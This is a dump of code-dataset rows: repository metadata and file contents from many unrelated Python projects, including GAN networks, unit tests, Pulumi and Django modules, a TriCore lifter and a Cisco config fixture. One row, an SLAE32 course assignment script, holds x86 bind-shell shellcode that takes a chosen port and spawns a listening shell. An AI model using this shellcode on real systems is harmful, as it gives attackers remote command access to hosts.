5a0d944420bd3b1fb4f6346dfa3d61d59ac8e537 | 98 | py | Python | sourcecode/configs/__init__.py | JulianJuaner/VecFontTransfer | 266b969878cdecc821d1d6e240e87d4caa151d84 | [
"MIT"
] | 7 | 2021-04-12T10:48:14.000Z | 2021-12-26T10:17:18.000Z | sourcecode/configs/__init__.py | JulianJuaner/VecFontTransfer | 266b969878cdecc821d1d6e240e87d4caa151d84 | [
"MIT"
] | null | null | null | sourcecode/configs/__init__.py | JulianJuaner/VecFontTransfer | 266b969878cdecc821d1d6e240e87d4caa151d84 | [
"MIT"
] | null | null | null | from sourcecode.configs.make_cfg import make_config
from sourcecode.configs.options import Options | 49 | 51 | 0.887755 | 14 | 98 | 6.071429 | 0.571429 | 0.329412 | 0.494118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 98 | 2 | 52 | 49 | 0.934066 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5a0f1fb69ebbcac90e007c3bc038dca6612d910e | 48 | py | Python | csrf/__init__.py | golightlyb/csrf.py | a182e0d6f37228f4488cbce186e0f6f132e6300c | [
"FSFAP"
] | 5 | 2018-07-28T22:57:24.000Z | 2021-06-23T23:31:24.000Z | csrf/__init__.py | golightlyb/csrf.py | a182e0d6f37228f4488cbce186e0f6f132e6300c | [
"FSFAP"
] | null | null | null | csrf/__init__.py | golightlyb/csrf.py | a182e0d6f37228f4488cbce186e0f6f132e6300c | [
"FSFAP"
] | 1 | 2020-01-10T10:57:04.000Z | 2020-01-10T10:57:04.000Z | from .csrf import check, generate, valid, Error
| 24 | 47 | 0.770833 | 7 | 48 | 5.285714 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145833 | 48 | 1 | 48 | 48 | 0.902439 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5a3fb9714abdb3d202fe4f977615c77df0a0ad7e | 49 | py | Python | wolfgang/mozart.py | yoon-gu/cicd | c7bb44ec7e835be350f49d412f91a0ae34df8c65 | [
"MIT"
] | null | null | null | wolfgang/mozart.py | yoon-gu/cicd | c7bb44ec7e835be350f49d412f91a0ae34df8c65 | [
"MIT"
] | 1 | 2021-09-11T13:22:50.000Z | 2021-09-11T13:22:50.000Z | wolfgang/mozart.py | yoon-gu/cicd | c7bb44ec7e835be350f49d412f91a0ae34df8c65 | [
"MIT"
] | null | null | null | import sys
import os
def main():
print("hello") | 9.8 | 15 | 0.693878 | 8 | 49 | 4.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163265 | 49 | 5 | 15 | 9.8 | 0.829268 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0.25 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5a6e8f8cd4a51f48f659112062535b3df3951785 | 2,395 | py | Python | networks.py | MingtaoGuo/SinGAN_Pytorch | e27d98a39c1534bee515378523e36a02b366fd72 | [
"MIT"
] | 4 | 2020-05-13T07:50:40.000Z | 2020-06-15T03:14:12.000Z | networks.py | MingtaoGuo/SinGAN_Pytorch | e27d98a39c1534bee515378523e36a02b366fd72 | [
"MIT"
] | null | null | null | networks.py | MingtaoGuo/SinGAN_Pytorch | e27d98a39c1534bee515378523e36a02b366fd72 | [
"MIT"
] | null | null | null | import torch.nn as nn
import torch
class Generator(nn.Module):
def __init__(self, nums_block):
super(Generator, self).__init__()
self.nums_block = nums_block
self.padding = nn.ZeroPad2d(5)
self.conv1 = nn.Sequential(
nn.Conv2d(3, nums_block, 3, 1),
... | 29.9375 | 53 | 0.502296 | 291 | 2,395 | 3.975945 | 0.127148 | 0.233362 | 0.121003 | 0.172861 | 0.821089 | 0.821089 | 0.821089 | 0.821089 | 0.708729 | 0.708729 | 0 | 0.053908 | 0.380376 | 2,395 | 80 | 54 | 29.9375 | 0.725741 | 0 | 0 | 0.621622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.027027 | 0 | 0.135135 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5a8086c7df9fd661228622dc50e228e4cd47bbcc | 17,108 | py | Python | unittests/test_point_location.py | argupta98/MotionPlanning | 1b8454ff2b6fe797773727d8de57999a9fc68c0f | [
"MIT"
] | null | null | null | unittests/test_point_location.py | argupta98/MotionPlanning | 1b8454ff2b6fe797773727d8de57999a9fc68c0f | [
"MIT"
] | null | null | null | unittests/test_point_location.py | argupta98/MotionPlanning | 1b8454ff2b6fe797773727d8de57999a9fc68c0f | [
"MIT"
] | null | null | null |
import unittest
from src.point_location import *
from src.structures import *
from src.graph import *
import numpy as np
from numpy import array
from tqdm import tqdm
class TestTrapezoidRep(unittest.TestCase):
def test_three_init(self):
vertices = np.array([[10, 150], [200, 20], [200, 100]])
trap... | 50.765579 | 102 | 0.645546 | 2,112 | 17,108 | 4.999527 | 0.088542 | 0.151151 | 0.208353 | 0.21735 | 0.843167 | 0.822332 | 0.778293 | 0.752344 | 0.716545 | 0.683587 | 0 | 0.102624 | 0.220248 | 17,108 | 336 | 103 | 50.916667 | 0.688906 | 0.007599 | 0 | 0.556738 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.411348 | 1 | 0.078014 | false | 0.014184 | 0.024823 | 0 | 0.120567 | 0.003546 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
ce5a4a2c4843bea3ab6496d0c417dbf33ff59ddb | 12,910 | py | Python | sdk/python/pulumi_azure/containerservice/registry.py | kenny-wealth/pulumi-azure | e57e3a81f95bf622e7429c53f0bff93e33372aa1 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure/containerservice/registry.py | kenny-wealth/pulumi-azure | e57e3a81f95bf622e7429c53f0bff93e33372aa1 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure/containerservice/registry.py | kenny-wealth/pulumi-azure | e57e3a81f95bf622e7429c53f0bff93e33372aa1 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class Regist... | 60.046512 | 297 | 0.687064 | 1,670 | 12,910 | 5.115569 | 0.140719 | 0.050217 | 0.044247 | 0.028913 | 0.765539 | 0.744235 | 0.726677 | 0.726677 | 0.704905 | 0.683367 | 0 | 0.0001 | 0.227111 | 12,910 | 214 | 298 | 60.327103 | 0.856083 | 0.469171 | 0 | 0.025316 | 1 | 0 | 0.157473 | 0.025695 | 0 | 0 | 0 | 0 | 0 | 1 | 0.050633 | false | 0.063291 | 0.075949 | 0.025316 | 0.341772 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
cec546ace260893dca0e7a31221b2b33f8a6df37 | 1,428 | py | Python | cask/world/models.py | dcramer/cask-server | 32535229a907479c3645aa34b75755d3e2b12dda | [
"Apache-2.0"
] | 2 | 2018-08-07T16:18:54.000Z | 2020-11-18T15:04:41.000Z | cask/world/models.py | dcramer/cask-server | 32535229a907479c3645aa34b75755d3e2b12dda | [
"Apache-2.0"
] | 2 | 2020-02-11T23:07:31.000Z | 2020-06-05T18:56:19.000Z | cask/world/models.py | dcramer/cask-server | 32535229a907479c3645aa34b75755d3e2b12dda | [
"Apache-2.0"
] | null | null | null | from uuid import uuid4
from django.db import models
class Country(models.Model):
id = models.UUIDField(primary_key=True, default=uuid4, editable=False)
name = models.CharField(max_length=128, unique=True)
created_at = models.DateTimeField(auto_now_add=True)
def __str__(self):
return self.nam... | 30.382979 | 74 | 0.72619 | 187 | 1,428 | 5.326203 | 0.229947 | 0.052209 | 0.052209 | 0.076305 | 0.84739 | 0.84739 | 0.823293 | 0.794177 | 0.752008 | 0.752008 | 0 | 0.014286 | 0.166667 | 1,428 | 46 | 75 | 31.043478 | 0.822689 | 0 | 0 | 0.71875 | 0 | 0 | 0.007703 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.0625 | 0.125 | 0.96875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
ced4c6e575fd317df0a6b93c6c18a2c78ae18c1c | 19,925 | py | Python | angr_platforms/tricore/rrr_instr.py | shahinsba/angr-platforms | 86f9ea90c396fb5561d0196a2d1a873e573b0294 | [
"BSD-2-Clause"
] | null | null | null | angr_platforms/tricore/rrr_instr.py | shahinsba/angr-platforms | 86f9ea90c396fb5561d0196a2d1a873e573b0294 | [
"BSD-2-Clause"
] | null | null | null | angr_platforms/tricore/rrr_instr.py | shahinsba/angr-platforms | 86f9ea90c396fb5561d0196a2d1a873e573b0294 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python3
""" rrr_instr.py
Implementation of RRR format instructions.
"""
from pyvex.lifting.util import Type, Instruction
from .rtl import * # pylint: disable=[wildcard-import, unused-wildcard-import]
from .logger import log_this
class RRR_CADD_Inst(Instruction):
""" Conditional Add instruction.
... | 33.543771 | 120 | 0.54936 | 2,904 | 19,925 | 3.607438 | 0.048554 | 0.030928 | 0.041237 | 0.06491 | 0.921249 | 0.914185 | 0.913039 | 0.909889 | 0.909889 | 0.885166 | 0 | 0.045856 | 0.277641 | 19,925 | 593 | 121 | 33.600337 | 0.681998 | 0.059072 | 0 | 0.890777 | 0 | 0 | 0.027015 | 0 | 0 | 0 | 0.009023 | 0 | 0 | 1 | 0.174757 | false | 0 | 0.007282 | 0.11165 | 0.43932 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 8 |
0c98650f8339c56728442cdca93345d268c045c7 | 2,468 | py | Python | tests/import_spacing.py | peterbe/black | 61a8d401c797240c0bc5313a9ff068bb269479a5 | [
"MIT"
] | 3 | 2018-11-06T14:54:37.000Z | 2021-06-20T19:38:24.000Z | tests/import_spacing.py | peterbe/black | 61a8d401c797240c0bc5313a9ff068bb269479a5 | [
"MIT"
] | null | null | null | tests/import_spacing.py | peterbe/black | 61a8d401c797240c0bc5313a9ff068bb269479a5 | [
"MIT"
] | 1 | 2020-04-08T00:25:03.000Z | 2020-04-08T00:25:03.000Z | """The asyncio package, tracking PEP 3156."""
# flake8: noqa
from logging import (
ERROR,
)
import sys
# This relies on each of the submodules having an __all__ variable.
from .base_events import *
from .coroutines import *
from .events import * # comment here
from .futures import *
from .locks import * # com... | 21.840708 | 108 | 0.722853 | 291 | 2,468 | 5.676976 | 0.223368 | 0.096852 | 0.061743 | 0.076271 | 0.996368 | 0.996368 | 0.996368 | 0.996368 | 0.996368 | 0.996368 | 0 | 0.007067 | 0.197326 | 2,468 | 112 | 109 | 22.035714 | 0.826855 | 0.114668 | 0 | 0.564706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.423529 | 0 | 0.423529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
0b4560cfa78ddc67b269624087a65c2128a610ce | 631 | py | Python | Assignment1/wrapper_script.py | sajithshetty/SLAE32 | 1171a9e3ef78786e069226fcd31ad6d5f2a4057b | [
"CC0-1.0"
] | null | null | null | Assignment1/wrapper_script.py | sajithshetty/SLAE32 | 1171a9e3ef78786e069226fcd31ad6d5f2a4057b | [
"CC0-1.0"
] | null | null | null | Assignment1/wrapper_script.py | sajithshetty/SLAE32 | 1171a9e3ef78786e069226fcd31ad6d5f2a4057b | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/python
import struct
import sys
#Usage: ./script <port number>
#example ./script.py 4444
x = sys.argv[1]
port = struct.pack("!H", int(x))
bind_shell = ("\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x52\x66\x68" + port +
"\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56... | 35.055556 | 295 | 0.681458 | 133 | 631 | 3.218045 | 0.496241 | 0.084112 | 0.10514 | 0.140187 | 0.203271 | 0.161215 | 0.11215 | 0.11215 | 0 | 0 | 0 | 0.25 | 0.074485 | 631 | 17 | 296 | 37.117647 | 0.482877 | 0.10935 | 0 | 0 | 0 | 0.285714 | 0.694097 | 0.67263 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0.285714 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0b6e3b69bb3965ed6ea125cfdc7b692c8fbdbc4f | 308 | py | Python | autogalaxy/aggregator/__init__.py | Jammy2211/PyAutoModel | 02f54e71900de9ec12c9070dc00a4bd001b25afa | [
"MIT"
] | 4 | 2019-10-29T13:27:23.000Z | 2020-03-24T11:13:35.000Z | autogalaxy/aggregator/__init__.py | Jammy2211/PyAutoModel | 02f54e71900de9ec12c9070dc00a4bd001b25afa | [
"MIT"
] | null | null | null | autogalaxy/aggregator/__init__.py | Jammy2211/PyAutoModel | 02f54e71900de9ec12c9070dc00a4bd001b25afa | [
"MIT"
] | 3 | 2020-02-12T10:29:59.000Z | 2020-03-24T11:13:53.000Z | from autogalaxy.aggregator.plane import PlaneAgg
from autogalaxy.aggregator.imaging import ImagingAgg
from autogalaxy.aggregator.fit_imaging import FitImagingAgg
from autogalaxy.aggregator.interferometer import InterferometerAgg
from autogalaxy.aggregator.fit_interferometer import FitInterferometerAgg
| 51.333333 | 74 | 0.886364 | 32 | 308 | 8.46875 | 0.40625 | 0.258303 | 0.442804 | 0.199262 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081169 | 308 | 5 | 75 | 61.6 | 0.957597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0b96e17ade049b24c55fed38fb11489973b00044 | 16,763 | py | Python | NASA/Python_codes/drivers/05_SOSDetection_table/03_d_train_tables_JFD.py | HNoorazar/Kirti | fb7108dac1190774bd90a527aaa8a3cb405f127d | [
"MIT"
] | null | null | null | NASA/Python_codes/drivers/05_SOSDetection_table/03_d_train_tables_JFD.py | HNoorazar/Kirti | fb7108dac1190774bd90a527aaa8a3cb405f127d | [
"MIT"
] | null | null | null | NASA/Python_codes/drivers/05_SOSDetection_table/03_d_train_tables_JFD.py | HNoorazar/Kirti | fb7108dac1190774bd90a527aaa8a3cb405f127d | [
"MIT"
] | null | null | null | ####
#### last update Nov. 29, 2021
####
"""
This is not efficient. I am doing the following two scenarios in a
sequential fashion.
a. three filters: irrigated fields, NASS out, survey date correct
b. one filter: irrigated fields
The least could be done is do it in parallel fashion!
"""
import csv
import... | 40.588378 | 122 | 0.549365 | 2,088 | 16,763 | 3.943487 | 0.146552 | 0.054651 | 0.048093 | 0.053437 | 0.831066 | 0.826694 | 0.823294 | 0.812728 | 0.805927 | 0.805927 | 0 | 0.016764 | 0.220665 | 16,763 | 412 | 123 | 40.686893 | 0.613518 | 0.166975 | 0 | 0.805128 | 0 | 0 | 0.167644 | 0.089776 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.046154 | 0 | 0.046154 | 0.153846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e7f2582c50c9e73df02f02acbc4b27eda559f68e | 84,740 | py | Python | mysite/patterns/56.py | BioinfoNet/prepub | e19c48cabf8bd22736dcef9308a5e196cfd8119a | [
"MIT"
] | 19 | 2016-06-17T23:36:27.000Z | 2020-01-13T16:41:55.000Z | mysite/patterns/56.py | BioinfoNet/prepub | e19c48cabf8bd22736dcef9308a5e196cfd8119a | [
"MIT"
] | 13 | 2016-06-06T12:57:05.000Z | 2019-02-05T02:21:00.000Z | patterns/56.py | OmnesRes/GRIMMER | 173c99ebdb6a9edb1242d24a791d0c5d778ff643 | [
"MIT"
] | 7 | 2017-03-28T18:12:22.000Z | 2021-06-16T09:32:59.000Z | pattern_zero=[0.0, 0.017538265306, 0.03443877551, 0.035714285714, 0.050701530612, 0.05325255102, 0.066326530612, 0.070153061224, 0.071428571429, 0.08131377551, 0.086415816327, 0.088966836735, 0.095663265306, 0.102040816327, 0.105867346939, 0.107142857143, 0.109375, 0.117028061224, 0.122130102041, 0.122448979592, 0.1246... | 16,948 | 32,172 | 0.789946 | 10,676 | 84,740 | 6.26967 | 0.047302 | 0.003645 | 0.002734 | 0.003347 | 0.996967 | 0.995638 | 0.995638 | 0.995055 | 0.995055 | 0.992709 | 0 | 0.842233 | 0.062922 | 84,740 | 5 | 32,173 | 16,948 | 0.000693 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
f02d31b5bfcac9eeb6f97ce6e6b4392ab4562d97 | 49 | py | Python | coupledmodeldriver/generate/__init__.py | WPringle/CoupledModelDriver | 02fccc8be24c96f545d26d7c7efcacd5dfe8fbe7 | [
"CC0-1.0"
] | 2 | 2021-05-12T18:01:07.000Z | 2021-09-09T15:43:56.000Z | coupledmodeldriver/generate/__init__.py | WPringle/CoupledModelDriver | 02fccc8be24c96f545d26d7c7efcacd5dfe8fbe7 | [
"CC0-1.0"
] | 52 | 2021-01-26T21:59:13.000Z | 2022-03-13T18:20:25.000Z | coupledmodeldriver/generate/__init__.py | WPringle/CoupledModelDriver | 02fccc8be24c96f545d26d7c7efcacd5dfe8fbe7 | [
"CC0-1.0"
] | 2 | 2021-03-30T14:42:39.000Z | 2021-08-31T22:11:48.000Z | from coupledmodeldriver.generate.adcirc import *
| 24.5 | 48 | 0.857143 | 5 | 49 | 8.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 49 | 1 | 49 | 49 | 0.933333 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f06aeb0186bcfa78d220be55f526c48187f30da9 | 33,885 | py | Python | tests/unit/mock/config/parser/cisco_aireos/aireos_full_received.py | vivekvashist/netutils | c2d75178d2613a44f070f55ef94e11866eef8f36 | [
"Apache-2.0"
] | 91 | 2021-05-13T18:14:57.000Z | 2022-03-22T14:36:38.000Z | tests/unit/mock/config/parser/cisco_aireos/aireos_full_received.py | vivekvashist/netutils | c2d75178d2613a44f070f55ef94e11866eef8f36 | [
"Apache-2.0"
] | 61 | 2021-05-15T00:49:31.000Z | 2022-03-28T06:08:52.000Z | tests/unit/mock/config/parser/cisco_aireos/aireos_full_received.py | vivekvashist/netutils | c2d75178d2613a44f070f55ef94e11866eef8f36 | [
"Apache-2.0"
] | 26 | 2021-05-13T23:51:40.000Z | 2022-03-31T12:30:11.000Z | from netutils.config.parser import ConfigLine
data = [
ConfigLine(config_line="config sysname POP-101-WLC", parents=()),
ConfigLine(config_line="config prompt POP-101-WLC", parents=()),
ConfigLine(config_line="config mobility group domain POP-101-MG", parents=()),
ConfigLine(config_line="config network... | 81.454327 | 236 | 0.740387 | 4,355 | 33,885 | 5.668657 | 0.069346 | 0.252117 | 0.315146 | 0.409689 | 0.943533 | 0.940536 | 0.917568 | 0.869729 | 0.760117 | 0.601815 | 0 | 0.06124 | 0.13354 | 33,885 | 415 | 237 | 81.650602 | 0.779598 | 0 | 0 | 0.062802 | 0 | 0.014493 | 0.488269 | 0.006463 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.002415 | 0.002415 | 0 | 0.002415 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
f07520be04cc2767891964a9c4e32cc62a221014 | 7,051 | py | Python | tests/libraries/position/test_fee.py | overlay-market/v1-core | e18fabd242f21c243a555712d3f08ca059941f41 | [
"MIT"
] | 3 | 2022-02-17T16:11:39.000Z | 2022-03-10T23:46:19.000Z | tests/libraries/position/test_fee.py | overlay-market/v1-core | e18fabd242f21c243a555712d3f08ca059941f41 | [
"MIT"
] | 10 | 2022-01-25T21:49:20.000Z | 2022-03-31T00:32:29.000Z | tests/libraries/position/test_fee.py | overlay-market/v1-core | e18fabd242f21c243a555712d3f08ca059941f41 | [
"MIT"
] | 2 | 2022-01-21T01:04:54.000Z | 2022-02-23T08:38:20.000Z | def test_trading_fee(position):
entry_price = 100000000000000000000 # 100
current_price = 150000000000000000000 # 150
notional = 10000000000000000000 # 10
debt = 2000000000000000000 # 2
liquidated = False
trading_fee_rate = 750000000000000
oi = int((notional / entry_price) * 10000000000... | 39.172222 | 70 | 0.69437 | 830 | 7,051 | 5.640964 | 0.087952 | 0.091841 | 0.044853 | 0.03994 | 0.947245 | 0.947245 | 0.947245 | 0.907518 | 0.907518 | 0.907518 | 0 | 0.175023 | 0.239115 | 7,051 | 179 | 71 | 39.391061 | 0.69767 | 0.159694 | 0 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088 | 1 | 0.032 | false | 0 | 0 | 0 | 0.032 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
65256482f8aa4e0a95469ad2cdcd3d1faa043d8d | 2,648 | py | Python | capstone/capdb/migrations/0090_auto_20200127_2030.py | rachelaus/capstone | 2affa02706f9b1a99d032c66f258a7421c40a35e | [
"MIT"
] | 134 | 2017-07-12T17:03:06.000Z | 2022-03-27T06:38:29.000Z | capstone/capdb/migrations/0090_auto_20200127_2030.py | rachelaus/capstone | 2affa02706f9b1a99d032c66f258a7421c40a35e | [
"MIT"
] | 1,362 | 2017-06-22T17:42:49.000Z | 2022-03-31T15:28:00.000Z | capstone/capdb/migrations/0090_auto_20200127_2030.py | rachelaus/capstone | 2affa02706f9b1a99d032c66f258a7421c40a35e | [
"MIT"
] | 38 | 2017-06-22T14:46:23.000Z | 2022-03-16T05:32:54.000Z | # Generated by Django 2.2.9 on 2020-01-27 20:30
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('capdb', '0089_auto_20200127_1957'),
]
operations = [
migrations.RemoveField(
model_name='casetext',
name='metadata',
... | 28.473118 | 48 | 0.554003 | 194 | 2,648 | 7.298969 | 0.221649 | 0.120763 | 0.275424 | 0.317797 | 0.80791 | 0.80791 | 0.80791 | 0.724576 | 0.158192 | 0 | 0 | 0.01794 | 0.347432 | 2,648 | 92 | 49 | 28.782609 | 0.801505 | 0.016994 | 0 | 0.825581 | 1 | 0 | 0.253749 | 0.138793 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.011628 | 0 | 0.046512 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
65369793ad1f869e99347b8cdbb3f2cb3ac0aca1 | 83,773 | py | Python | config2/tests/test_config.py | billycao/python-config2 | d474e911a9ca196dbbeaafdb560f499b885de823 | [
"MIT"
] | 20 | 2018-06-26T22:48:27.000Z | 2021-05-06T06:07:27.000Z | config2/tests/test_config.py | billycao/python-config2 | d474e911a9ca196dbbeaafdb560f499b885de823 | [
"MIT"
] | 19 | 2018-10-10T09:16:45.000Z | 2021-02-08T13:55:37.000Z | config2/tests/test_config.py | billycao/python-config2 | d474e911a9ca196dbbeaafdb560f499b885de823 | [
"MIT"
] | 8 | 2018-10-05T07:12:33.000Z | 2022-01-03T12:12:39.000Z |
# =========================================
# DEPS
# --------------------------------------
import rootpath
rootpath.append()
import json
from os import path
from os import environ as env
from attributedict.collections import AttributeDict
from config2.tests import helper
from config2.serializers import ya... | 35.769855 | 144 | 0.627517 | 8,804 | 83,773 | 5.242731 | 0.014425 | 0.062396 | 0.099443 | 0.070195 | 0.953225 | 0.933445 | 0.917434 | 0.89852 | 0.889573 | 0.880646 | 0 | 0.00702 | 0.256885 | 83,773 | 2,341 | 145 | 35.785135 | 0.734422 | 0.009168 | 0 | 0.868961 | 0 | 0 | 0.11646 | 0.032601 | 0 | 0 | 0 | 0 | 0.192633 | 1 | 0.015097 | false | 0.032005 | 0.006039 | 0 | 0.021739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3303bdff3585f07d061406993fcb444435a9deda | 418 | py | Python | testMinTree.py | JunhaoWang/fraudar | 0bb1f95f1a8846db80e871b103d6a9586d523ffe | [
